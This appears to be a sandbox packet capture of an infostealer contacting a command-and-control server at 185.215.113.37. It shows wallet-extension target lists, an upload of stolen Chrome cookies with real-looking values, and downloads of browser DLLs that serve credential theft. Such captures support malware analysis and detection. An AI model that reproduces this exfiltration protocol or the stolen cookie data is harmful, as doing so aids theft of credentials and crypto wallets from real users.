Oct 4, 2024 05:44:57.712366104 CEST	792	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Oct 4, 2024 05:44:57.715071917 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"fplugins------JKJEHJKJEBGHJJKEBGIE--
Oct 4, 2024 05:44:57.945636988 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:44:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 4, 2024 05:44:57.975537062 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJE Host: 185.215.113.37 Content-Length: 5583 Connection: Keep-Alive Cache-Control: no-cache
Oct 4, 2024 05:44:57.975581884 CEST	5583	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 4, 2024 05:44:58.847865105 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:44:58 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:44:59.204442024 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 4, 2024 05:44:59.436275959 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:44:59 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 4, 2024 05:44:59.436331987 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 4, 2024 05:44:59.436371088 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 4, 2024 05:45:00.881000042 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKF Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------DGDBFBFCBFBKECAAKJKF--
Oct 4, 2024 05:45:01.625065088 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:45:01.934580088 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="file"------JECAFHJEGCFCBFIEGCAE--
Oct 4, 2024 05:45:02.672652960 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:02 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:45:03.384382963 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKF Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 61 36 31 64 35 33 38 37 32 38 62 39 38 61 38 66 33 39 37 65 38 66 62 37 34 34 62 32 65 35 64 65 33 65 39 33 34 36 63 37 32 65 62 38 38 62 35 62 66 66 32 63 65 61 39 30 35 63 33 32 35 61 35 30 34 63 65 39 39 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"8aa61d538728b98a8f397e8fb744b2e5de3e9346c72eb88b5bff2cea905c325a504ce999------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="file"------HIIEBAFCBKFIDGCAKKKF--
Oct 4, 2024 05:45:04.110445976 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 4, 2024 05:45:05.305342913 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 4, 2024 05:45:05.532290936 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 4, 2024 05:45:06.451569080 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 4, 2024 05:45:06.678755045 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 4, 2024 05:45:07.088392019 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 4, 2024 05:45:07.315274000 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 4, 2024 05:45:07.857765913 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 4, 2024 05:45:08.085197926 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 4, 2024 05:45:10.069436073 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 4, 2024 05:45:10.296344995 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 4, 2024 05:45:10.671864033 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 4, 2024 05:45:10.899085045 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 03:45:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS 